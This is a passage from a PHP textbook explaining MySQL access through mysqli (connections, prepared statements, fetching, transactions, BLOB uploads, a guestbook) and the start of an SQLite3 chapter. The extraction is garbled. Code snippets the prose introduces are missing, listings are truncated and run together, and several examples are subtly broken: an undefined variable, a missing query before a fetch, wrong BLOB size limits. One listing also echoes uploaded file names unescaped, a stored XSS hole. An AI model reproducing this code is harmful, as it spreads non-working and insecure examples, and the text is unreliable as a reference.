very imaginative combination here of user as the username and password as the pass-
word). You can also create a new database called PHP. Assign all rights for the database
to the new user, also in MySQL Workbench.
For a long time, MySQL's administration tools were a major weakness of the database;
there were simply no really good official GUIs. This is why other products were used.
Probably the best known is phpMyAdmin, a web-based administration interface for
PHP (see Figure 19.6). You can download it free of charge from www.phpmyadmin.net.
Unpack the archive and adjust some of the settings in the config.inc.php configuration
file if necessary. You must also activate the mbstring extension in php.ini.
Now only one small thing is missing, but it is crucial: PHP's MySQL support. Windows
users have it easy again: add one line to php.ini—and everything is done. However, the
"old" extension is officially deprecated as of PHP version 5.5 and also causes a warning
of type E_DEPRECATED. As already mentioned, PHP 8.x no longer supports the old exten-
sion (nor does PHP 7):
You also need the client library for MySQL. Fortunately, this is already included and is
called mysqlnd. In the output of phpinfo(), you will also find an entry for mysqlnd, even if
you have not activated the MySQL extension.
Under Unix/Linux, the extension is integrated into most binary packages of the distri-
butions. If you want to compile it yourself, you need the --with-mysql=/path/to/mysql
configuration switch for the mysql extension. This extension requires the special pro-
gram mysql_config, which provides and also accepts configuration options. The corres-
ponding switch is then called --with-mysql=/path/to/mysql_config. You therefore need
the complete path to the program here, including the program name.
It is then worth calling phpinfo() (or php -m) again to see whether the extension is
active. Figure 19.8 shows the output under PHP 8.3. Incidentally, the PDO extension for
MySQL is called pdo_mysql, not pdo_mysqli.
The return value is a handle for the connection, which you must use with the other
MySQL functions. You close the connection again with mysqli_close(). The following
listing shows a simple test example.
<?php
if ($db = mysqli_connect("localhost", "user", "password", "PHP")) {
echo "Connection successful.";
mysqli_close($db);
} else {
echo "Error!";
}
?>
If you prefer named function parameters, you can call mysqli_connect() as follows:
mysqli_connect(
host: "localhost",
username: "user",
passwd: "password",
dbname: "PHP");
Tip
You do not necessarily have to pass the database name with mysqli_connect(); you
can also use the mysqli_select_db() function. You pass it the handle of the connec-
tion and the database name:
<?php
if ($db = mysqli_connect("localhost", "user", "password")) {
mysqli_select_db($db, "PHP");
echo "Connection successful.";
mysqli_close($db);
} else {
echo "Error!";
}
?>
The return value of mysqli_connect() is a resource and so is of type resource. This can
be converted into an integer value—previously explicitly (by prefixing it with (int)),
but since PHP 8 using a separate function:
$id = get_resource_id(
mysqli_connect( /* ... */ );
);
Alternatively, the MySQL extension (but only mysqli) also offers object-oriented access.
There is a very simple rule for this: Most mysqli functions are then available as meth-
ods of the MySQLi object, whereby the mysqli_ prefix is deleted. The mysqli_close()
function thus becomes the close() method. Of course, there are also minor deviations
from the rule, such as with mysqli_connect(). There is no special method for this, but it
becomes the constructor of the object. The following listing shows the connection
setup in OOP style.
<?php
try {
$db = new MySQLi("localhost", "user", "password", "PHP");
echo "Connection successfully established.";
$db->close();
} catch (Exception $ex) {
echo "Error: " . $ex->getMessage();
}
?>
We show both approaches in parallel but always start with the "old" access via func-
tions. The reason for this is that it is then usually possible to port the application to the
mysql extension without much effort, as usually only function names need to be
adapted.
19.2.2 Queries
For queries that do not have a return value, mysqli_query() is used. You pass the handle
of the connection and the SQL command. In our example, we create a test table in the
PHP database. Again, it is interesting to note how the data type for an autovalue is real-
ized. With MySQL, you use INT AUTO_INCREMENT PRIMARY KEY.
<?php
if ($db = mysqli_connect("localhost", "user", "password", "PHP")) {
$sql = "CREATE TABLE my_table (
id INT AUTO_INCREMENT PRIMARY KEY,
field VARCHAR(255)
)";
if (mysqli_query($db, $sql)) {
echo "Table created.<br />";
} else {
echo "Error!";
}
$sql = "INSERT INTO my_table (field) VALUES ('Value1')";
if (mysqli_query($db, $sql)) {
echo "Data entered.<br />";
} else {
echo "Error!";
}
$sql = "INSERT INTO my_table (field) VALUES ('value2')";
if (mysqli_query($db, $sql)) {
echo "Data entered.";
} else {
echo "Error!";
}
mysqli_close($db);
} else {
echo "Error!";
}
?>
Not much changes in the OOP API; essentially, mysqli_query() is replaced by the
query() method.
<?php
try {
$db = new MySQLi("localhost", "user", "password", "PHP");
$sql = "CREATE TABLE my_table (
id INT AUTO_INCREMENT PRIMARY KEY,
field VARCHAR(255)
)";
$db->query($sql);
echo "Table created.<br />";
$db->close();
} catch (Exception $ex) {
echo "Error: " . $ex->getMessage();
}
?>
There are no security problems with static values that are written to the database (as in
the example). With dynamic values, however, such as those from form data, the URL, or
cookies, the situation is different. Here you must protect yourself against dangerous
characters in the input (see also Chapter 32). For this purpose, there is the mysqli_real_
escape_string() function or the real_escape_string() method, which, for example,
turns an apostrophe into the character string \'.1 Here is a corresponding code snippet:
Note
Why does mysqli_real_escape_string() need the handle of the database connection?
A legitimate question, but there is a good answer: The character set of the connection
is taken into account when masking data. This is also alluded to by the real part of the
function name.
1 Incidentally, this is different from some other databases where an apostrophe has to be "devalued"
by doubling ('').
You must prepare this command with mysqli_prepare() and receive a command object
as the return value:
With the mysqli_stmt_bind_param() function (or the bind_param() method of the com-
mand object if you prefer OOP access) you can bind values to the placeholders. To do
this, you first need a string parameter with the data types used. There are four possibil-
ities:
쐍 b
Data type BLOB
쐍 d
Data type double
쐍 i
Data type integer
쐍 s
Data type string
The character string "dis" means that you have three placeholders: The first is a float-
ing-point number, the second is an integer, and the third is a string. The order is
important; you must specify parameters in the order in which they appear in the SQL
command. With three parameters, write as follows:
mysqli_stmt_bind_param(
command,
"dis",
$doubleparam,
$intparam,
$stringparam
);
In our example, it is a little simpler because there is only one placeholder in the SQL
command:
Note
Because the parameter value is passed by reference, you cannot pass a value directly in
mysqli_stmt_bind_param() but need a variable regardless.
Finally, execute the SQL command: with OOP access, using the execute() method; in a
procedural approach, by calling the mysqli_stmt_execute() function .
The complete example is provided in the following listing.
<?php
if ($db = mysqli_connect("localhost", "user", "password", "PHP")) {
$sql = "INSERT INTO table (field) VALUES (?)";
$command = mysqli_prepare($db, $sql);
mysqli_stmt_bind_param($command, "s", $value);
$value = "value3";
if (mysqli_stmt_execute($command)) {
echo "Data entered.<br />";
} else {
echo "Error!";
}
mysqli_close($db);
} else {
echo "Error!";
}
?>
<?php
try {
$db = new MySQLi("localhost", "user", "password", "PHP");
$sql = "INSERT INTO my_table (field) VALUES (?)";
$command = $db->prepare($sql);
$command->bind_param("s", $value);
$value = "value3";
$command->execute();
echo "Data entered.<br />";
$db->close();
} catch (Exception $ex) {
echo "Error: " . $ex->getMessage();
}
?>
The function returns false if there is no next line. The function is therefore great for
use within a while loop:
The following complete listing shows the output of all data in the test table (see Figure
19.9).
<?php
if ($db = mysqli_connect("localhost", "user", "password", "PHP")) {
$sql = "SELECT * FROM my_table";
if ($result = mysqli_query($db, $sql)) {
echo "<ul>";
while ($row = mysqli_fetch_assoc($result)) {
echo "<li>" . htmlspecialchars($row["id"]) .
": " . htmlspecialchars($row["field"]) . "</li>" ;
}
echo "</ul>";
}
mysqli_close($db);
} else {
echo "Error!";
}
?>
When using the OOP interface, the basic sequence of the code does not change.
<?php
try {
$db = new MySQLi("localhost", "user", "password", "PHP");
$sql = "SELECT * FROM my_table";
$result = $db->query($sql);
echo "<ul>";
while ($row = $result->fetch_assoc()) {
echo "<li>" . htmlspecialchars($zeile["id"]) .
": " . htmlspecialchars($row["field"]) . "</li>" ;
}
echo "</ul>";
$db->close();
} catch (Exception $ex) {
echo "Error: " . $ex->getMessage();
}
?>
There are several alternatives to access via associative arrays—for example, access via
objects. In this case, the field names are properties of the row object. The associated
function is called mysqli_fetch_object() and the method is called fetch_object().
<?php
if ($db = mysqli_connect("localhost", "user", "password", "PHP")) {
$sql = "SELECT * FROM my_table";
if ($result = mysqli_query($db, $sql)) {
echo "<ul>";
while ($row = mysqli_fetch_object($result)) {
echo "<li>" . htmlspecialchars($row->id) .
": " . htmlspecialchars($row->field) . "</li>";
}
echo "</ul>";
}
mysqli_close($db);
} else {
echo "Error!";
}
?>
Of course, we also take another look at the OOP version in the next listing—good if we
are already using objects anyway.
<?php
try {
$db = new MySQLi("localhost", "user", "password", "PHP");
$sql = "SELECT * FROM my_table";
$result = $db->query($sql);
echo "<ul>";
while ($row = $result->fetch_object()) {
echo "<li>" . htmlspecialchars($row->id) .
": " . htmlspecialchars($row->field) . "</li>";
}
echo "</ul>";
$db->close();
} catch (Exception $ex) {
echo "Error: " . $ex->getMessage();
}
?>
Last but not least, a third method should be introduced (don't worry, there are others):
reading as a numeric array. This is useful, for example, if you need to read tables whose
structure you do not know. Or if you have a query such as SELECT COUNT() where it is dif-
ficult to determine the column name (unless you use an alias). At this point, it is easy to
access the table data via the numerical index. This method is also very fast. The corre-
sponding PHP function is called mysqli_fetch_row(), and the method is analogous to
fetch_row().
<?php
if ($db = mysqli_connect("localhost", "user", "password", "PHP")) {
$sql = "SELECT * FROM my_table";
if ($result = mysqli_query($db, $sql)) {
echo "<ul>";
while ($row = mysqli_fetch_row($result)) {
echo "<li>" . htmlspecialchars($row[0]) .
": " . htmlspecialchars($row[1]) . "</li>";
}
echo "</ul>";
}
mysqli_close($db);
} else {
echo "Error!";
}
?>
<?php
try {
$db = new MySQLi("localhost", "user", "password", "PHP");
$sql = "SELECT * FROM my_table";
$result = $db->query($sql);
echo "<ul>";
while ($row = $result->fetch_row()) {
echo "<li>" . htmlspecialchars($row[0]) .
": " . htmlspecialchars($row[1]) . "</li>";
}
echo "</ul>";
$db->close();
} catch (Exception $ex) {
echo "Error: " . $ex->getMessage();
}
?>
Note
As already mentioned, there are other options for reading out data, which will be pre-
sented shortly. The mysqli_fetch_array() function and the fetch_array() method
read the current line as an array and are a kind of mixture of mysqli_fetch_assoc()
and mysqli_fetch_row(). This function can return both an associative and a numeric
array or even both. You can control the behavior of the function by giving it a second
parameter, the array type. The mysqli extension offers the following options for this in
the form of constants:
쐍 MYSQLI_ASSOC
Associative array
쐍 MYSQLI_BOTH
Associative and numeric array (default behavior)
쐍 MYSQLI_NUM
Numeric array
With the mysqli_fetch_fields() function or the fetch_fields() method, you read all
the data in the result list at once as an array of objects. This works as if you call mysqli_
fetch_object() until there is no more data and push all return values into an array.
And there are even more possibilities, but with the ones presented so far, you know
about those that are actually relevant in practice.
<?php
if ($db = mysqli_connect("localhost", "user", "password", "PHP")) {
$sql = "INSERT INTO my_table (field) VALUES ('value4')";
if (mysqli_query($db, $sql)) {
$id = mysqli_insert_id($db);
echo "Data with ID $id entered.";
} else {
echo "Error!";
}
mysqli_close($db);
} else {
echo "Error: $error";
}
?>
<?php
try {
$db = new MySQLi("localhost", "user", "password", "PHP");
$id = $db->insert_id;
echo "Data with ID $id inserted.";
$db->close();
} catch (Exception $ex) {
echo "Error: " . $ex->getMessage();
}
?>
Transactions
Although it originally took a little while, MySQL has been supporting transactions for
some time now.2 You can do quite a lot with it. As a small (and somewhat contrived)
example, let's look at an alternative way of determining the last autovalue: Enter a data
record and then read out the largest value. If this happens within a transaction, a pro-
cess writing at the same time cannot falsify the result.
You will need the following three methods:
쐍 mysqli_autocommit($db, false)
Deactivates autocommit (alternatively: $db->autocommit(false))
쐍 mysqli_commit($db)
Commits the transaction (alternatively: $db->commit())
쐍 mysqli_rollback($db)
Cancels the transaction (alternatively: $db->rollback())
2 The standard engine of current MySQL versions, InnoDB, supports transactions. The older engine,
MyISAM, which used to be the standard, does not support this feature.
<?php
if ($db = mysqli_connect("localhost", "user", "password", "PHP")) {
mysqli_autocommit($db, false);
$sql = "INSERT INTO my_table (field) VALUES ('value5')";
if (mysqli_query($db, $sql)) {
$result = mysqli_query($db, "SELECT MAX(id) FROM my_table");
$row = mysqli_fetch_row($result);
$id = $row[0];
echo "Data with the ID $id entered.";
mysqli_commit($db);
} else {
echo "Error!";
mysqli_rollback($db);
}
mysqli_close($db);
} else {
echo "Error: $error";
}
?>
Listing 19.15 The ID of the Last Record Entered, Somewhat More Laboriously
("mysqli-transaction.php")
<?php
try {
$db = new MySQLi("localhost", "user", "password", "PHP");
$db->autocommit(false);
$sql = "INSERT INTO my_table (field) VALUES ('value5')";
$db->query($sql);
$row = $result->fetch_row();
$id = $row[0];
echo "Data entered with the ID $id.";
$db->commit();
$db->close();
} catch (Exception $ex) {
$db->rollback();
Listing 19.16 The ID of the Last Record Entered, Somewhat More Laboriously
("mysqli-transaction-oop.php")
Error Handling
As already mentioned, we have used very simple (and not sufficient for productive use)
error handling in the examples to make debugging easier. However, the error handling
routines of the mysqli extension are very practical for a real project. You usually need
the following two functions:
쐍 mysqli_errno($db) (or the $db->errno property) returns the error number of the last
MySQL operation. Error number 0 means that no error has occurred.
쐍 mysqli_error($db) (or the $db->error property) returns the (textual) error of the last
MySQL operation.
However, two special features should be mentioned. There are special functions when
establishing a connection:
쐍 mysqli_connect_errno() for the error number
쐍 mysqli_connect_error() for the error message
And, if you use mysqli_prepare() to create a command object, you can also query the
current error number and message for it:
쐍 mysqli_stmt_errno() for the error number
쐍 mysqli_stmt_error() for the error message
The following listing should generate two errors: one when the connection is first
established (database does not exist) and another when the syntactically incorrect SQL
command is sent. We also use try/catch to prevent that the script ends once an excep-
tion occurs. You can see the output in Figure 19.11.
<?php
try {
if ($db = mysqli_connect("localhost", "user", "password", "ASP")) {
echo "Connection established.<br />";
mysqli_close($db);
}
} catch (Exception $ex) {
printf("Error %d: %s!<br />",
mysqli_connect_errno(),
htmlspecialchars(mysqli_connect_error()));
}
try {
if ($db = mysqli_connect("localhost", "user", "password", "PHP")) {
$sql = "INSERT INTO my_table (field) VALUES ('value6)";
if (mysqli_query($db, $sql)) {
echo "Data entered.<br />";
}
mysqli_close($db);
}
} catch (Exception $ex) {
printf("Error %d: %s!",
mysqli_errno($db),
htmlspecialchars(mysqli_error($db)));
}
?>
Binary Data
MySQL, like other databases, is able to store binary data such as files. Before we show
you how to do this, let's start with a few brief general remarks. As a rule, there is already
a database on the web server that can handle binary files very efficiently and securely:
the file system. In practice, it is therefore often the case that the database only contains
references to the files, such as their name and path. Nevertheless, it is also possible to
store files in the database. It stores these as binary large objects (BLOBs).
MySQL supports some data types for the use of such BLOBs with different maximum
sizes (see Table 19.1).
TINYBLOB 256
MEDIUMBLOB 655.536
BLOB 1.677.216
LONGBLOB 4.294.967.296
Listing 19.18 The SQL Command for Creating the Table ("blob.sql")
Controlling the BLOB field is a popular source of errors, but these are easy to avoid if
you know the background. First, we proceed as usual and use a prepared statement:
In the next step, we bind values to the parameters. As before, "s" stands for string—but
how do we map a BLOB? This is where the MySQLi extension "b" comes in. However,
there is a surprise when assigning the values:
Yes, you saw correctly: The parameter for the BLOB receives the value null. The back-
ground is that we have to offer a value for each parameter (which is why $data receives
one), but a different method is responsible for BLOBs (which is why we only take null as
the value). This other method is called send_long_data() (and the function is called
mysqli_stmt_send_long_data()). The first parameter after the statement handle is the
number of the SQL parameter, with the count starting at 0. The parameter for the BLOB
is the second one in the SQL, which is why we use the value 1. The next parameter of the
method contains the binary data:
if (mysqli_stmt_execute($command)) {
echo "Data entered.<br />";
} else {
echo "Error!";
}
mysqli_close($db);
Why this tedious detour? There is a MySQL setting called max_allowed_packet. If this is
set to a value that is larger than the data that is to be saved in the BLOB, you could also
specify this in the prepared statement of type "s" (string) and the data would be saved
in full. However, if this is not the case, the data is split up (corresponding to max_
allowed_packet) and transferred to the database in several steps. This is exactly why we
need mysqli_stmt_send_long_data(). We can call this function several times and trans-
fer a maximum of max_allowed_packet data each time.
The procedure will be shown using a small example. A PHP application should make it
possible to upload images that are then stored in the database. Before we continue, a
short but obligatory and important note. The application is not particularly secure: We
do not check whether a graphic is actually being transferred, nor do we check whether
it exceeds any maximum size (even if the latter could be intercepted by PHP's upload
settings; see Chapter 13). What the application does show, however, is the reading and
writing of BLOBs.
In a file upload form, the file is transferred in 1 MB chunks (1,024 × 1,024 bytes) to
mysqli_stmt_send_long_data(). In Chapter 25, you will learn more about working with
files. This is the central code point:
The name column is filled with the name specified in the HTTP request. You can see the
complete code in the following listing.
<html>
<head>
<title>BLOB</title>
</head>
<body>
<h1>BLOB</h1>
<?php
if (isset($_FILES["File"]) &&
isset($_FILES["File"]["tmp_name"]) &&
is_uploaded_file($_FILES["File"]["tmp_name"])) {
if ($db = mysqli_connect("localhost", "user", "password", "PHP")) {
$sql = "INSERT INTO files (name, data) VALUES (?, ?)";
$command = mysqli_prepare($db, $sql);
mysqli_stmt_bind_param($command, "sb", $name, $data);
$name = basename($_FILES["File"]["name"]);
$data = null;
$fp = fopen($_FILES["File"]["tmp_name"], "r");
while (!feof($fp)) {
$chunk = fgets($fp, 1024*1024);
mysqli_stmt_send_long_data($command, 1, $chunk);
}
if (mysqli_stmt_execute($command)) {
echo "Upload completed.
<a href=\"blob-read.php\">Overview</a>";
} else {
echo "Error: " . mysqli_error($db) . "!";
}
mysqli_close($db);
} else {
echo "Error: " . mysqli_connect_error() . "!";
}
}
?>
<form method="post" enctype="multipart/form-data" action="">
<input type="file" name="File">
<input type="submit" name="Submit" value="Upload" />
</form>
</body>
</html>
When using the OOP API, nothing significant changes, as the following listing shows.
<html>
<head>
<title>BLOB</title>
</head>
<body>
<h1>BLOB</h1>
<?php
if (isset($_FILES["File"]) &&
isset($_FILES["File"]["tmp_name"]) &&
is_uploaded_file($_FILES["File"]["tmp_name"])) {
try {
$db = new MySQLi("localhost", "user", "password", "PHP");
$sql = "INSERT INTO files (name, data) VALUES (?, ?)";
$command = $db->prepare($sql);
$command->bind_param("sb", $name, $data);
$name = basename($_FILES["File"]["name"]);
$data = null;
$fp = fopen($_FILES["File"]["tmp_name"], "r");
while (!feof($fp)) {
$chunk = fgets($fp, 1024*1024);
$command->send_long_data(1, $chunk);
}
try {
$command->execute();
echo "Upload completed.
<a href=\"blob-read-oop.php\">Overview</a>";
} catch (Exception $ex) {
echo "Error: " . $ex->getMessage() . "!";
}
$db->close();
} catch (Exception $ex) {
echo "Error: " . $ex->getMessage() . "!";
}
}
?>
<form method="post" enctype="multipart/form-data" action="">
<input type="file" name="File">
<input type="submit" name="Submit" value="Upload" />
</form>
</body>
</html>
Listing 19.20 Upload a File and Write to the Database via OOP ("blob-insert-oop.php")
To conveniently output the data, we first create a helper script that returns a specific
graphic—directly as a PNG (for the sake of simplicity, we assume that only PNGs are
stored in the database). The ID of the graphic—the id column is the primary key—is
expected as a URL parameter. The PHP file does not end with ?> so that no whitespace
characters at the end could accidentally invalidate the PNG data. The following listing
shows the corresponding code.
<?php
if (isset($_GET["id"]) && ctype_digit($_GET["id"])) {
if ($db = mysqli_connect("localhost", "user", "password", "PHP")) {
$sql = "SELECT * FROM files WHERE id=" . intval($_GET["id"]);
$result = mysqli_query($db, $sql);
if ($row = mysqli_fetch_object($result)) {
header("Content-type: image/png");
echo $row->data;
exit();
}
mysqli_close($db);
}
}
<?php
if (isset($_GET["id"]) && ctype_digit($_GET["id"])) {
try {
$db = new MySQLi("localhost", "user", "password", "PHP");
$sql = "SELECT * FROM files WHERE id=" . intval($_GET["id"]);
$result = $db->query($sql);
if ($row = $result->fetch_object()) {
header("Content-type: image/png");
echo $row->data;
exit();
}
$db->close();
} catch (Exception $ex) {
}
}
Listing 19.22 Output of a Graphic from the Database via OOP ("blob-oop.php")
The only thing missing is the output of all graphics. However, this is now just a stan-
dard task: We use a foreach loop to iterate over all table entries and output them as an
HTML table. We just have to make sure that the graphic with ID 42, for example, is inte-
grated as follows:
<img src="blob.php?id=42">
<html>
<head>
<title>BLOB</title>
</head>
<body>
<h1>BLOB</h1>
<table>
<tr><th>name</th><th>image</th></tr>
<?php
if ($db = mysqli_connect("localhost", "user", "password", "PHP")) {
$sql = "SELECT * FROM files";
$result = mysqli_query($db, $sql);
while ($row = mysqli_fetch_object($result)) {
printf("<tr><td>%s</td><td><img src=\"blob.php?id=%d\"></td></tr>",
$row->name, $row->id);
}
mysqli_close($db);
}
?>
</table>
</body>
</html>
You guessed it: When using the OOP interface, the basic procedure does not change. For
the sake of completeness, we will show the code in the following listing.
<html>
<head>
<title>BLOB</title>
</head>
<body>
<h1>BLOB</h1>
<table>
<tr><th>Name</th><th>Bild</th></tr>
<?php
try {
$db = new MySQLi("localhost", "user", "password", "PHP");
$sql = "SELECT * FROM files";
$result = $db->query($sql);
while ($row = $result->fetch_object()) {
printf("<tr><td>%s</td><td><img src=\"blob-oop.php?id=%d\"></td></tr>",
$row->name, $row->id);
}
$db->close();
} catch (Exception $ex) {
}
?>
</table>
</body>
</html>
Listing 19.24 Output of All Graphics in the Database via OOP ("blob-read-oop.php")
Figure 19.12 shows the entries in the database via phpMyAdmin. Figure 19.13 presents
them much prettier within our PHP application.
<?php
if ($db = mysqli_connect("localhost", "user", "password", "PHP")) {
$sql = "CREATE TABLE guestbook (
id INT AUTO_INCREMENT PRIMARY KEY,
heading VARCHAR(1000),
entry VARCHAR(8000),
author VARCHAR(50),
email VARCHAR(100),
date TIMESTAMP
)";
if (mysqli_query($db, $sql)) {
echo "Table created.<br />";
} else {
echo "Error: " . mysqli_error($db) . "!";
}
mysqli_close($db);
} else {
echo "Error: " . mysqli_connect_error() . "!";
}
?>
Note the TIMESTAMP data type for the date field. MySQL has the nice feature that the
default value for this field is automatically the current timestamp (CURRENT_TIMESTAMP).
This means that you do not have to make any effort to insert the date into the database
when filling the guestbook; it is automatically added when writing.
<html>
<head>
<title>Guestbook</title>
</head>
<body>
<h1>Guestbook</h1>
<?php
if (isset($_POST["Name"]) &&
isset($_POST["Email"]) &&
isset($_POST["Heading"]) &&
isset($_POST["Comment"])) {
if ($db = mysqli_connect("localhost", "user", "password", "PHP")) {
$sql = "INSERT INTO guestbook
(heading,
entry,
author,
email)
VALUES (?, ?, ?, ?)";
$command = mysqli_prepare($db, $sql);
mysqli_stmt_bind_param($command, "ssss",
$_POST["Heading"],
$_POST["Comment"],
$_POST["Name"],
$_POST["Email"]);
if (mysqli_stmt_execute($command)) {
$id = mysqli_insert_id($db);
echo "Entry added.
<a href=\"gb-edit.php?id=$id\">Edit</a>";
} else {
echo "Error: " . mysqli_error($db) . "!";
}
mysqli_close($db);
} else {
echo "Error: " . mysqli_connect_error() . "!";
}
}
?>
<form method="post" action="">
Name <input type="text" name="Name" /><br />
Email address <input type="text" name="Email" /><br />
Heading <input type="text" name="Heading" /><br />
Comment
<textarea cols="70" rows="10" name="Comment"></textarea><br />
<input type="submit" name="Submit" value="Submit" />
</form>
</body>
</html>
The rest is as usual: a while loop, and remember to always pass urlencode()/html-
specialchars()!
<html>
<head>
<title>Guestbook</title>
</head>
<body>
<h1>Guestbook</h1>
<?php
if ($db = mysqli_connect("localhost", "user", "password", "PHP")) {
$sql = "SELECT * FROM guestbook ORDER BY date DESC";
$result = mysqli_query($db, $sql);
while ($row = mysqli_fetch_object($result)) {
printf("<p><a href=\"mailto:%s\">%s</a> wrote on/at %s:</p>
<h3>%s</h3><p>%s</p><hr noshade=\"noshade\" />",
urlencode($row->email),
htmlspecialchars($row->author),
htmlspecialchars(date("Y-m-d, H:i", strtotime($row->date))),
htmlspecialchars($row->heading),
nl2br(htmlspecialchars($row->entry))
);
}
mysqli_close($db);
} else {
echo "Error: " . mysqli_connect_error() . "!";
}
?>
</body>
</html>
<html>
<head>
<title>Guestbook</title>
</head>
<body>
<h1>Guestbook</h1>
<?php
if (isset($_GET["id"]) && is_numeric($_GET["id"])) {
if (isset($_GET["ok"])) {
if ($db = mysqli_connect("localhost", "user", "password", "PHP")) {
$id = mysqli_escape_string($db, $_GET["id"]);
$sql = "DELETE FROM guestbook WHERE id=$id";
if (mysqli_query($db, $sql)) {
echo "<p>Entry deleted.</p>
<p><a href=\"gb-admin.php\">Back to overview
</a></p>";
} else {
<html>
<head>
<title>Guestbook</title>
</head>
<body>
<h1>Guestbook</h1>
<?php
$Name = "";
$Email = "";
$Heading = "";
$Comment = "";
if (isset($_GET["id"]) &&
is_numeric($_GET["id"])) {
if ($db = mysqli_connect("localhost", "user", "password", "PHP")) {
if (isset($_POST["Name"]) &&
isset($_POST["Email"]) &&
isset($_POST["Heading"]) &&
isset($_POST["Comment"])) {
$sql = "UPDATE guestbook SET
heading = ?,
entry = ?,
author = ?,
email = ?
WHERE id=?";
$command = mysqli_prepare($db, $sql);
mysqli_stmt_bind_param($command, "ssssi",
$_POST["Heading"],
$_POST["Comment"],
$_POST["Name"],
$_POST["Email"],
intval($_GET["id"]));
if (mysqli_stmt_execute($command)) {
echo "<p>Entry changed.</p>
<p><a href=\"gb-admin.php\">Back to the overview
</a></p>";
} else {
echo "Error: " . mysqli_error($db) . "!";
}
}
?>"/><br />
Heading <input type="text" name="Heading" value="<?php
echo htmlspecialchars($Heading);
?>" /><br />
Comment
<textarea cols="70" rows="10" name="Comment"><?php
echo htmlspecialchars($Comment);
?></textarea><br />
<input type="submit" name="Submit" value="Update" />
</form>
</body>
</html>
And that's it: You are now able to create sophisticated database applications with
MySQL and PHP. If your heart beats for other databases too, read on: PHP has much
more to offer, as the next chapters show.
19.4 Settings
In the php.ini configuration file (in the [MySQLi] section), the mysqli extension sets the
parameters shown in Table 19.2, among others.
If mysqlnd is used as the client library (which is the default), then further settings can be
made in the [mysqlnd] section, including those in Table 19.3.
Let's start with a historical reminder: One of the most noticeable new features of PHP 5
was support for the SQLite database. When it became public knowledge that PHP 5
would offer this new feature, the first voices claiming that MySQL was dead or would be
shunned by PHP were heard.1 That this is of course not the case.
To make a long story short: SQLite is not a replacement for MySQL but an alternative in
certain cases. PHP is known to support a large number of databases; there are so many
that we can't even introduce them all in this book. SQLite is another one, but one that
has caused quite a stir in the community.
SQLite is actually a C library, available at www.sqlite.org, and is now integrated into
PHP. The greatest strength of SQLite is that it is a file-based database. There is therefore
no need for a daemon running in the background; you simply work with the file sys-
tem. This simplifies handling and also the deployment of an application.
SQLite's greatest strength is also its greatest weakness: When reading from a file, the
system is really performant, usually even faster than established databases2 such as
MySQL or Microsoft SQL Server. When writing, however, the entire database file—that
is, the complete database—is locked, which is of course significantly slower than its
competitors. SQLite is a great choice, for example, for a news portal with a large number
of read operations and only a few write operations. If the user behavior of a highly fre-
quented site is analyzed and stored in a database (tracking), there may be better alter-
natives than SQLite.
20.1 Preparations
The installation of SQLite is simple. The library is already integrated in PHP, and a call
to phpinfo() displays information about the library (see Figure 20.1). If you want to get
rid of it, you need to compile PHP with the --without-sqlite3 option.
1 Among other things, there was the one Microsoft employee who called and said that it was illegal to
use MySQL with PHP because of the GPL. Sure.
2 See the (old, obsolete, but still worth reading) study on the SQLite website at www.sqlite.org/
speed.html.
You can already see from the name of the command line button that it uses version 3
of SQLite—SQLite3 for short. To be more precise: this version of the database has been
supported since PHP 5.3. This has implications for Windows users. They must load the
php_sqlite3.dll extension in php.ini:
extension=sqlite3
The php_sqlite.dll DLL was previously used but is no longer available for current PHP
versions in the official distribution.
Nothing more is necessary. No server process needs to be started; you only need read
and write permissions for the database file(s) you want to use. You also need these
rights for the directory in which the files are located as SQLite can also create tempo-
rary files.
Note
If you store sensitive data in the databases, you should follow three guiding rules:
1. If possible, place the database file in a directory that cannot be accessed by a user
via HTTP, but only by you via PHP script. This prevents downloading. Alternatively,
you can configure the web server so that files with certain extensions (such as .db)
cannot be downloaded.
2. If this is not possible, at least think of an imaginative name for the database—for
example xlbrmf.db. A database.db, file.db, or creditcarddetails.db file is quickly found
by data thieves who are good at guessing names. However, we implore you: Also
follow one of the recommendations from the first point.
3. Intercept PHP error messages. These can also contain the name of the database
file.
The third parameter contains an optional encryption key for the database. The object
to whose constructor you must pass all this is called SQLite3(). You close the connec-
tion again with the close() method of the instance.
<?php
try {
$db = new SQLite3("file.db");
echo "Connection successful.";
$db->close();
} catch (Exception $ex) {
Tip
Instead of a file name, you can also specify :memory:, in which case the database is cre-
ated in memory. Unfortunately, it will then disappear again after the end of the script.
This is usually only useful for temporary tables (to save intermediate results) or for test
purposes.
20.2.2 Queries
There are two ways to send a query to the SQLite database:
쐍 exec() for queries without a return value
쐍 query() for queries with return value
If you like it simple and convenient, you may want to use query() because this also
works for queries that do not return a value (the return of the function then contains
no relevant data). However, for queries without a return value (such as CREATE TABLE or
INSERT) it is better to use exec() for queries without a return. This also happens in Lis-
ting 20.2: Simply pass the SQL command as a parameter.
The following listing creates a test table (familiar from the previous chapter) and fills it
with some data.
<?php
try {
$db = new SQLite3("file.db");
$sql = "CREATE TABLE my_table (
id INTEGER PRIMARY KEY,
field VARCHAR(1000)
)";
if ($db->exec($sql)) {
echo "Table created.<br />";
} else {
echo "Error!";
}
$sql = "INSERT INTO my_table (field) VALUES ('Value1')";
if ($db->exec($sql)) {
echo "Data entered.<br />";
} else {
echo "Error!";
}
$sql = "INSERT INTO my_table (field) VALUES ('value2')";
if ($db->exec($sql)) {
echo "Data entered.";
} else {
echo "Error!";
}
$db->close();
} catch (Exception $ex) {
echo "Error: " . $ex->getMessage();
}
?>
Tip
You can use the INTEGER PRIMARY KEY data type to create an autovalue in SQLite. This is
a numeric field whose value is automatically increased by 1 for each new entry in the
database without you having to do anything.
At this point too, remember that data coming from users should always be checked and
converted before you use it in SQL commands. The SQLite module provides the escap-
eString() method, which converts "dangerous" special characters in a string (such as
apostrophes) into something technically harmless in SQL:
For example, "Rasmus' invention" becomes the string "Rasmus'' invention", which does
not lead to any potential danger within a SQL statement.
Alternatively, there are parameterized queries in SQLite, so you don't necessarily have
to worry about special SQL characters manually. This approach is about separating
commands and data from each other. For this reason, three steps are necessary:
Listing 20.3 essentially does the same thing as Listing 20.2 but uses prepared statements
(except in the first query).
<?php
try {
$db = new SQLite3("file.db");
$sql = "CREATE TABLE my_table (
id INTEGER PRIMARY KEY,
field VARCHAR(1000)
)";
if ($db->exec($sql)) {
echo "Table created.<br />";
} else {
echo "Error!";
}
$sql = "INSERT INTO my_table (field) VALUES (:value)";
if ($stmt = $db->prepare($sql)) {
$stmt->bindValue(":value", "value1");
$stmt->execute();
} else {
echo "Error!";
}
$sql = "INSERT INTO my_table (field) VALUES (:value)";
if ($stmt = $db->prepare($sql)) {
$stmt->bindValue(":value", "value2");
$stmt->execute();
